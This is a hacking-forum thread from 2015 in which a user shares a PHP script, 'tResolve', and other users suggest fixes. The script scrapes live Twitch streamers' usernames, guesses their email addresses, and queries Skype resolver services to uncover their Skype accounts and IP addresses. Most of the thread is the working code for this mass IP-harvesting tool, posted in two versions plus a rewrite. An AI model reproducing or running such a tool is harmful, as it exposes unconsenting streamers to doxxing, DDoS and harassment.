Home Upgrade Search Memberlist Extras Hacker Tools Award Goals Help Wiki Contact

Skype 

[NOT WORKING] tResolve |Multi Mass Twitch2Skype resolver

Syntax: OFFSET REQUIRED.. EX: php "tResolve.php 50

Features:
=============================
Twitch-->Skype-->IP
Twitch-->Skype-->IP-DB
Twitch-->Email2skype-->Skype2IP
Twitch-->Email2skype-->Skype2IP-DB
=============================

Output format..
=============================
Quote: Twitch: <USERNAME>
Email2Skype2IP: <IP-ADDRESS>
Email2Skype2IP-DB: <IP-ADDRESS>
Email2Skype: <SKYPE-USERNAMES>
Viewers: <LIVE-VIEWER-COUNT>
echo "Game: <CURRENT-GAME>
echo "Language: <STREAM-LANGUAGE>
echo "Skype2IP: <IP-ADDRESS>
Skype2IP-DB: <IP-ADDRESS>
===========================
===========================

IMPORTANT!!! Skype Resolver API key is required!

How it works..
=============================
1. Scrapes usernames of 100 live Twitch.tv Streams starting from the desired offset.
2. Suffixes each twitch username with combinations of popular email Domains/extensions.
Possible Combinations..
<username>@gmail.com
<username>@gmail.co.uk
<username>@live.com
<username>@live.co.uk
<username>@hotmail.com
<username>@hotmail.co.uk
<username>@aol.com
<username>@aol.co.uk
<username>@yahoo.com
<username>@yahoo.co.uk
3. Attempts "Email2Skype" on every potential email combination.
4. Attempts "Skype2IP" and "Skype2IP-DB" on successful "Email2Skype" combinations.
5. Attempts a "Skype2IP" and "Skype2IP-DB" on each Twitch.tv Display name.
6. Pulls each Streams language, current game, viewer count directly from the twitch API.

=============================
OFFSET VERSION
PHP Code

<?php
  
<?php
  $userNotFound 
= "Username not Found!"; //error messages(
  
$emptyString  = "Your string cannot be empty!";
  
$unable2Resolve = "Error: Unable to resolve this username!";
  
$noUsernameFound = "No usernames found.";
  
$email2       = array('@gmail', '@yahoo', '@live', '@hotmail', '@aol');
  
$emailext1    = array('.com', '.co.uk');
  
$offset = $argv[1];
  
$url = 'https://api.twitch.tv/kraken/streams?stream_type=live&limit=100&game=&offset=' . $offset;
  if(empty(
$offset)) {
echo 
'Please specify an offset.. EX: php "tResolve.php 50"';
exit();
}
  
$curl_options = array(
                      
CURLOPT_URL => $url,
                      
CURLOPT_HEADER => 0,
                      
CURLOPT_RETURNTRANSFER => TRUE,
                      
CURLOPT_TIMEOUT => 0,
                      
CURLOPT_SSL_VERIFYPEER => 0,
                      
CURLOPT_FOLLOWLOCATION => TRUE,
                      
CURLOPT_ENCODING => 'gzip,deflate',
              );
              
$ch = curl_init();
              
curl_setopt_array( $ch, $curl_options );
              
$output = curl_exec( $ch );
              
curl_close($ch);

  
$ar1 = json_decode($output,true);

foreach(
$ar1['streams'] as $mydata){
    
$game5  =  $mydata['channel']['game'];
    
$name5  =  $mydata['channel']['name'];
    
$viewers5 =  $mydata['viewers'];
    
$language5 = $mydata['channel']['language'];
  foreach(
$email2 as $myemail2) {
    
$myemail4   = $name5 . $myemail2;
    foreach(
$emailext1 as $myemail3) {
      
$data1    = $myemail4 . $myemail3;
     
$ch1      = curl_init();
     
curl_setopt($ch1, CURLOPT_URL, 'http://webresolve.nl/api.php?key=<xxxx-xxxx-xxxx-xxxx>&action=email2skype&string=' . $data1);
      
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, true);
     
$mh       = curl_multi_init();
       
curl_multi_add_handle($mh,$ch1);
     
$running  = null;
   do {
     
curl_multi_exec($mh, $running);
   } while (
$running);
     
curl_multi_remove_handle($mh, $ch1);
     
curl_multi_close($mh);
     
$response_1 = curl_multi_getcontent($ch1);
      
$skype8   = str_replace($noUsernameFound,"",$response_1);
     
$skype1   = explode(',',$skype8);
      foreach(
$skype1 as $skype2) {
     
$ch2      = curl_init();
     
$ch3      = curl_init();
        if(
$skype2 == "") {
    } else {
          
$skype3 = $skype2;
     
curl_setopt($ch2, CURLOPT_URL, 'http://webresolve.nl/api.php?key=<xxxx-xxxx-xxxx-xxxx>&action=resolve&string=' . $skype2);
      
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
     
curl_setopt($ch3, CURLOPT_URL, 'http://webresolve.nl/api.php?key=<xxxx-xxxx-xxxx-xxxx>&action=resolvedb&string=' . $skype2);
      
curl_setopt($ch3, CURLOPT_RETURNTRANSFER, true);
     
$mh1       = curl_multi_init();
       
curl_multi_add_handle($mh1,$ch2);
       
curl_multi_add_handle($mh1,$ch3);
     
$running  = null;
   do {
     
curl_multi_exec($mh1, $running);
   } while (
$running);
     
curl_multi_remove_handle($mh1, $ch2);
     
curl_multi_remove_handle($mh1, $ch3);
     
curl_multi_close($mh1);
     
$response_2 = curl_multi_getcontent($ch2);
     
$response_3 = curl_multi_getcontent($ch3);
          if(
$response_2 != $emptyString) {
            if(
$response_2 != $unable2Resolve) {
              echo 
"Email2Skype2IP: $response_2\n";
            }
          }
          if(
$response_3 != $emptyString) {
             if(
$response_3 != $userNotFound) {
               echo 
"Email2Skype2IP-DB: $response_3\n";
            }
          }
      echo 
"Email2Skype: $skype3\n";
        }
      }
    }
  }
     
$ch4 = curl_init();
     
$ch5 = curl_init();
     
curl_setopt($ch4, CURLOPT_URL, 'http://webresolve.nl/api.php?key=<xxxx-xxxx-xxxx-xxxx>&action=resolve&string=' . $name5);
      
curl_setopt($ch4, CURLOPT_RETURNTRANSFER, true);
     
curl_setopt($ch5, CURLOPT_URL, 'http://webresolve.nl/api.php?key=<xxxx-xxxx-xxxx-xxxx>&action=resolvedb&string=' . $name5);
      
curl_setopt($ch5, CURLOPT_RETURNTRANSFER, true);
      
$mh2 = curl_multi_init();
      
curl_multi_add_handle($mh2,$ch4);
      
curl_multi_add_handle($mh2,$ch5);
     
$running2  = null;
     do {
     
curl_multi_exec($mh2, $running2);
     } while (
$running2);
     
curl_multi_remove_handle($mh2, $ch4);
     
curl_multi_remove_handle($mh2, $ch5);
     
curl_multi_close($mh2);
     
$response_4 = curl_multi_getcontent($ch4);
     
$response_5 = curl_multi_getcontent($ch5);
      echo 
"Twitch: $name5\n";
      echo 
"Viewers: $viewers5\n";
      echo 
"Game: $game5\n";
      echo 
"Language: $language5\n";
      echo 
"Skype2IP: $response_4\n";
      echo 
"Skype2IP-DB: $response_5\n";
      echo 
"===========================\n";
      echo 
"===========================\n";
}
?>

NO OFFSET VERSION

PHP Code

<?php
  $userNotFound 
= "Username not Found!"; //error messages(
  
$emptyString  = "Your string cannot be empty!";
  
$unable2Resolve = "Error: Unable to resolve this username!";
  
$noUsernameFound = "No usernames found.";
  
$email2       = array('@gmail', '@yahoo', '@live', '@hotmail', '@aol');
  
$emailext1    = array('.com', '.co.uk');
  
$url = 'https://api.twitch.tv/kraken/streams?stream_type=live&limit=100&game=&offset=';
  
$curl_options = array(
                      
CURLOPT_URL => $url,
                      
CURLOPT_HEADER => 0,
                      
CURLOPT_RETURNTRANSFER => TRUE,
                      
CURLOPT_TIMEOUT => 0,
                      
CURLOPT_SSL_VERIFYPEER => 0,
                      
CURLOPT_FOLLOWLOCATION => TRUE,
                      
CURLOPT_ENCODING => 'gzip,deflate',
              );
              
$ch = curl_init();
              
curl_setopt_array( $ch, $curl_options );
              
$output = curl_exec( $ch );
              
curl_close($ch);

  
$ar1 = json_decode($output,true);

foreach(
$ar1['streams'] as $mydata){
    
$game5  =  $mydata['channel']['game'];
    
$name5  =  $mydata['channel']['name'];
    
$viewers5 =  $mydata['viewers'];
    
$language5 = $mydata['channel']['language'];
  foreach(
$email2 as $myemail2) {
    
$myemail4   = $name5 . $myemail2;
    foreach(
$emailext1 as $myemail3) {
      
$data1    = $myemail4 . $myemail3;
     
$ch1      = curl_init();
     
curl_setopt($ch1, CURLOPT_URL, 'http://webresolve.nl/api.php?key=<xxxx-xxxx-xxxx-xxxx>&action=email2skype&string=' . $data1);
      
curl_setopt($ch1, CURLOPT_RETURNTRANSFER, true);
     
$mh       = curl_multi_init();
       
curl_multi_add_handle($mh,$ch1);
     
$running  = null;
   do {
     
curl_multi_exec($mh, $running);
   } while (
$running);
     
curl_multi_remove_handle($mh, $ch1);
     
curl_multi_close($mh);
     
$response_1 = curl_multi_getcontent($ch1);
      
$skype8   = str_replace($noUsernameFound,"",$response_1);
     
$skype1   = explode(',',$skype8);
      foreach(
$skype1 as $skype2) {
     
$ch2      = curl_init();
     
$ch3      = curl_init();
        if(
$skype2 == "") {
    } else {
          
$skype3 = $skype2;
     
curl_setopt($ch2, CURLOPT_URL, 'http://webresolve.nl/api.php?key=<xxxx-xxxx-xxxx-xxxx>&action=resolve&string=' . $skype2);
      
curl_setopt($ch2, CURLOPT_RETURNTRANSFER, true);
     
curl_setopt($ch3, CURLOPT_URL, 'http://webresolve.nl/api.php?key=<xxxx-xxxx-xxxx-xxxx>&action=resolvedb&string=' . $skype2);
      
curl_setopt($ch3, CURLOPT_RETURNTRANSFER, true);
     
$mh1       = curl_multi_init();
       
curl_multi_add_handle($mh1,$ch2);
       
curl_multi_add_handle($mh1,$ch3);
     
$running  = null;
   do {
     
curl_multi_exec($mh1, $running);
   } while (
$running);
     
curl_multi_remove_handle($mh1, $ch2);
     
curl_multi_remove_handle($mh1, $ch3);
     
curl_multi_close($mh1);
     
$response_2 = curl_multi_getcontent($ch2);
     
$response_3 = curl_multi_getcontent($ch3);
          if(
$response_2 != $emptyString) {
            if(
$response_2 != $unable2Resolve) {
              echo 
"Email2Skype2IP: $response_2\n";
            }
          }
          if(
$response_3 != $emptyString) {
             if(
$response_3 != $userNotFound) {
               echo 
"Email2Skype2IP-DB: $response_3\n";
            }
          }
      echo 
"Email2Skype: $skype3\n";
        }
      }
    }
  }
     
$ch4 = curl_init();
     
$ch5 = curl_init();
     
curl_setopt($ch4, CURLOPT_URL, 'http://webresolve.nl/api.php?key=<xxxx-xxxx-xxxx-xxxx>&action=resolve&string=' . $name5);
      
curl_setopt($ch4, CURLOPT_RETURNTRANSFER, true);
     
curl_setopt($ch5, CURLOPT_URL, 'http://webresolve.nl/api.php?key=<xxxx-xxxx-xxxx-xxxx>&action=resolvedb&string=' . $name5);
      
curl_setopt($ch5, CURLOPT_RETURNTRANSFER, true);
      
$mh2 = curl_multi_init();
      
curl_multi_add_handle($mh2,$ch4);
      
curl_multi_add_handle($mh2,$ch5);
     
$running2  = null;
     do {
     
curl_multi_exec($mh2, $running2);
     } while (
$running2);
     
curl_multi_remove_handle($mh2, $ch4);
     
curl_multi_remove_handle($mh2, $ch5);
     
curl_multi_close($mh2);
     
$response_4 = curl_multi_getcontent($ch4);
     
$response_5 = curl_multi_getcontent($ch5);
      echo 
"Twitch: $name5\n";
      echo 
"Viewers: $viewers5\n";
      echo 
"Game: $game5\n";
      echo 
"Language: $language5\n";
      echo 
"Skype2IP: $response_4\n";
      echo 
"Skype2IP-DB: $response_5\n";
      echo 
"===========================\n";
      echo 
"===========================\n";
}
?>
This is amazing dude! As a fellow PHP coder this is amazing. Do you mind if I use this on my Public website?

Possible error:
Line 8: $offset = $argv[1]; No such thing as $argv?

Improvements?:
if($offset == "") Should be: if(!empty($offset)
(Oct 25, 2015 10:47 PM)SIM-2914476 Wrote:  This is amazing dude! As a fellow PHP coder this is amazing. Do you mind if I use this on my Public website?

Go ahead, Feel free to link me to the website when its done. :)

//Offset is to specify how far down the list pulled from the api to start resolving at.

I will remove that functionality and post VERSION 2 in a spoiler. 1 min.

First attempt at a php script. Thanks for the advice btw. :)

//implemented the optimization
(Oct 25, 2015 10:48 PM)Key Punch Wrote:  Go ahead, Feel free to link me to the website when its done. :)

//Offset is to specify how far down the list pulled from the api to start resolving at.

I will remove that functionality and post VERSION 2 in a spoiler. 1 min.

First attempt at a php script. Thanks for the advice btw. :)

//implemented the optimization

What do you mean by Offset. $offset is being linked to a variable with index of 1. $argv doesnt exist. Where are you inserting $argv?

Another issue:
Break; isn't what you think it is. break is to do with Case/Switches. The proper function you're looking for is exit() with ();
(Oct 25, 2015 11:08 PM)SIM-2914476 Wrote:  What do you mean by Offset. $offset is being linked to a variable with index of 1. $argv doesnt exist. Where are you inserting $argv?

Another issue:
Break; isn't what you think it is. break is to do with Case/Switches. The proper function you're looking for is exit() with ();

offset is how many streams should it skip over before starting the resolve process
___________$argv[0]; $argv[1];
_____________|_________|
_____________\|/_______\|/
Syntax: php tResolve.php 50
$offset = $argv[1];
is the equivalent to
$offset = 50;

thanks for the input :)
(Oct 25, 2015 11:14 PM)Key Punch Wrote:  offset is how many streams should it skip over before starting the resolve process
$argv[0]; $argv[1];
| |
\|/ \|/
Syntax: php tResolve.php 50
$offset = $argv[1];
is the equivalent to
$offset = 50;

I understand what arrays are but in the script $argv[0] e.t.c isn't loaded anywhere when it's called. Thats why i'm confused. Anyway I see a bunch of curl going on which isn't needed. I'll update it later on and send u an updated version.
(Oct 25, 2015 11:17 PM)SIM-2914476 Wrote:  I understand what arrays are but in the script $argv[0] e.t.c isn't loaded anywhere when it's called. Thats why i'm confused. Anyway I see a bunch of curl going on which isn't needed. I'll update it later on and send u an updated version.

I appreciate the help and I will gladly update with your fixes. :).

I'm a newbie to PHP (o.o)
$url = 'https://api.twitch.tv/kraken/streams?stream_type=live&limit=100&game=&offset=' . $offset; <---- $offset
You could call the following snippet V1.0 :P I'll improve it soon to be just 2 text areas showing only success/false soon. Make sure you put back in the skype API url and the Main api url.

PHP Code

<?php

//Email Domains;
$emaildomains = array('@gmail', '@yahoo', '@live', '@hotmail', '@aol');

//Email Extensions;
$emailextensions = array('.com', '.co.uk');

//Set the Url;
$url = 'Update This';

//Setup Curl;
$curl_options = array(
    
CURLOPT_URL => $url,
    
CURLOPT_HEADER => 0,
    
CURLOPT_RETURNTRANSFER => TRUE,
    
CURLOPT_TIMEOUT => 0,
    
CURLOPT_SSL_VERIFYPEER => 0,
    
CURLOPT_FOLLOWLOCATION => TRUE,
    
CURLOPT_ENCODING => 'gzip,deflate',
);

//Prepare Curl;
$ch = curl_init();
curl_setopt_array($ch, $curl_options);

//Execute and Close Curl;
$output = curl_exec($ch);
curl_close($ch);

//Decode the JSON curl output into a Multi-Dimensional Array;
$ar1 = json_decode($output,true);

//Prepare the Results Array;
$results = array('');

//Foreach Stream;
foreach($ar1['streams'] as $mydata){
    
    
//Prepare the Array Indexes;
    
$game = $mydata['channel']['game'];
    
$username = $mydata['channel']['name'];
    
$viewers = $mydata['viewers'];
    
$language = $mydata['channel']['language'];
    
    
//Process the Proper Channel Url;
    
$link = str_replace(array("api","kraken/streams/"),'',$mydata['self']);
    
    
//Foreach Email Domain;
    
foreach($emaildomains as $emaildomain) {
        
        
//Foreach Email Extension
        
foreach($emailextensions as $emailextension) {
            
            
//Curl is unnecessary here as all we are getting is a Skype username;
            //We dont need the source html so lets use file_get_contents for a faster script;
            
            
echo $username . $emaildomain . $emailextension;
            
            
//Grab the Skype;
            
$st = file_get_contents('x' . $username . $emaildomain . $emailextension);
            
            
//Tell the user the result;
            
echo '<h2>Email to Skype:</h2><br><textarea style="height: 300px; width: 100%;">'.
            
'Tried: '.$emaildomain."\n".
            
'Result: '.$st."\r\n".'</textarea>';
            
            
//Add the result to the array;
            
$results[] = $st;
            
        }
        
    }
    
}

if(!empty(
$results)) {
    
    foreach(
$results as $result) {
        
        
//Resolve Url;
        
$resolve = file_get_contents('x' . $result);
        
        
//if(!empty($resolve)) {
            
            
echo '<h2>Resolving:</h2><br><textarea style="height: 300px; width: 100%;">'.
            
'Twitch: '.$username."\n".
            
'Link: '.$link."\n".
            
'Game: '.$game."\n".
            
'Viewers: '.$viewers."\n".
            
'Language: '.$language."\n".
            
'Tried: '.$result."\n".
            
'Result: '.$resolve."\r\n".'</textarea>';
            
        
//} else { echo 'Failed: '.$result."\n"; }
        
    
}
    
}

?>
It's not Webresolve.nl but Webresolver.nl
(Oct 26, 2015 01:17 AM)✔ Soufian ✔ Wrote:  It's not Webresolve.nl but Webresolver.nl

I fixed the typo, do you mind if I set the default api to "api.c99.nl"'s free api?
(Oct 26, 2015 01:38 AM)Key Punch Wrote:  I fixed the typo, do you mind if I set the default api to "api.c99.nl"'s free api?

No problem, but api.c99.nl isn't free anymore due to the high traffic.
And Webresolver.nl is owned by my partner, which uses my servers as well. :)
The only issue ive found when using either my updated or you're original is that it takes extremely long even on Limit 50.
(Oct 25, 2015 11:17 PM)SIM-2914476 Wrote:  I understand what arrays are but in the script $argv[0] e.t.c isn't loaded anywhere when it's called. Thats why i'm confused. Anyway I see a bunch of curl going on which isn't needed. I'll update it later on and send u an updated version.

Yes it is when you use the CLI version of PHP
I only use https://ricochet.im - ricochet:lmi3tdtlsnziqwdk

Jabber: [email protected]


Possibly Related Threads...
Thread / Author Replies Views Last Post
by DokkiiApr 6, 2023 04:12 AM 72 8,360 Apr 6, 2023 04:12 AM
Last Post: Forex Advice
by ✔ Soufian ✔Mar 15, 2018 07:17 AM 118 25,975 Mar 15, 2018 07:17 AM
Last Post: 6tyzen
[Skype] by cuidabrutosJun 24, 2017 12:28 AM 15 1,759 Jun 24, 2017 12:28 AM
Last Post: peepantfunnyclown